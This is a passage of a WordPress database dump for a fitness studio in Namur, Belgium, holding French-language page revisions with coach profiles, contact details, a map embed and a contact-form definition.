src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:55:48', '2013-07-03 19:55:48', '', 20, 'http://www.crosstrainingcenter.be/?p=254', 0, 'revision', '', 0),
(258, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 9, 'http://www.crosstrainingcenter.be/?p=258', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(259, 1, '2013-07-03 20:26:03', '2013-07-03 20:26:03', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:26:03', '2013-07-03 20:26:03', '', 9, 'http://www.crosstrainingcenter.be/?p=259', 0, 'revision', '', 0),
(260, 1, '2013-07-03 20:28:57', '2013-07-03 20:28:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;\r\n\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:28:57', '2013-07-03 20:28:57', '', 9, 'http://www.crosstrainingcenter.be/?p=260', 0, 'revision', '', 0),
(261, 1, '2013-07-03 20:31:53', '2013-07-03 20:31:53', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:31:53', '2013-07-03 20:31:53', '', 9, 'http://www.crosstrainingcenter.be/?p=261', 0, 'revision', '', 0),
(262, 1, '2013-07-03 20:33:29', '2013-07-03 20:33:29', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:33:29', '2013-07-03 20:33:29', '', 9, 'http://www.crosstrainingcenter.be/?p=262', 0, 'revision', '', 0),
(263, 1, '2013-07-03 20:36:24', '2013-07-03 20:36:24', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:36:24', '2013-07-03 20:36:24', '', 9, 'http://www.crosstrainingcenter.be/?p=263', 0, 'revision', '', 0),
(264, 1, '2013-07-03 20:37:31', '2013-07-03 20:37:31', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:37:31', '2013-07-03 20:37:31', '', 9, 'http://www.crosstrainingcenter.be/?p=264', 0, 'revision', '', 0),
(265, 1, '2013-07-03 20:42:29', '2013-07-03 20:42:29', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;br&gt;\r\nVotre prénom (obligatoire)&lt;br /&gt;\r\n    [text* your-firstname] &lt;br&gt;\r\nVotre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;br&gt;\r\nVotre n° de téléphone (obligatoire)&lt;br /&gt;\r\n    [text* your-tel]&lt;br&gt;\r\n[captchac captcha-696]&lt;br&gt;\r\nVeuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n    [captchar captcha-696] &lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Contactez moi pour un RDV Séance Booster\&quot;]&lt;/p&gt;\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n1\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nVotre message a bien été envoyé. Merci.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nErreur de validation. Veuillez vérifier les champs et soumettre à nouveau.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nMerci de bien vouloir accepter les conditions pour continuer.\nVeuillez remplir le champ obligatoire.\nLe code entre est incorrect.\nLe format numérique semble invalide.\nCe nombre est trop petit.\nCe nombre est trop grand.\nL\'adresse email semble invalide.\nL\'URL semble invalide.\nLe numéro de téléphone semble invalide.\nImpossible de télécharger le fichier.\nCe type de fichier n\'est pas autorisé.\nCe fichier est trop volumineux.\nImpossible de télécharger le fichier. Une erreur est survenue.\nVotre réponse est incorrecte.\nLe format de date semble invalide.\nCette date est trop tôt.\nCette date est trop tard.', 'Seance_gratuite', '', 'publish', 'open', 'open', '', 'sans-titre', '', '', '2014-08-31 07:40:29', '2014-08-31 07:40:29', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=265', 0, 'wpcf7_contact_form', '', 0),
(266, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance booster', '', 'publish', 'closed', 'open', '', '266-2', '', '', '2014-08-31 07:41:25', '2014-08-31 07:41:25', '', 0, 'http://www.crosstrainingcenter.be/?page_id=266', 0, 'page', '', 0),
(267, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', '', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:43:41', '2013-07-03 20:43:41', '', 266, 'http://www.crosstrainingcenter.be/?p=267', 0, 'revision', '', 0),
(268, 1, '2013-07-03 20:38:07', '2013-07-03 20:38:07', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:38:07', '2013-07-03 20:38:07', '', 9, 'http://www.crosstrainingcenter.be/?p=268', 0, 'revision', '', 0),
(269, 1, '2013-07-03 19:59:08', '2013-07-03 19:59:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 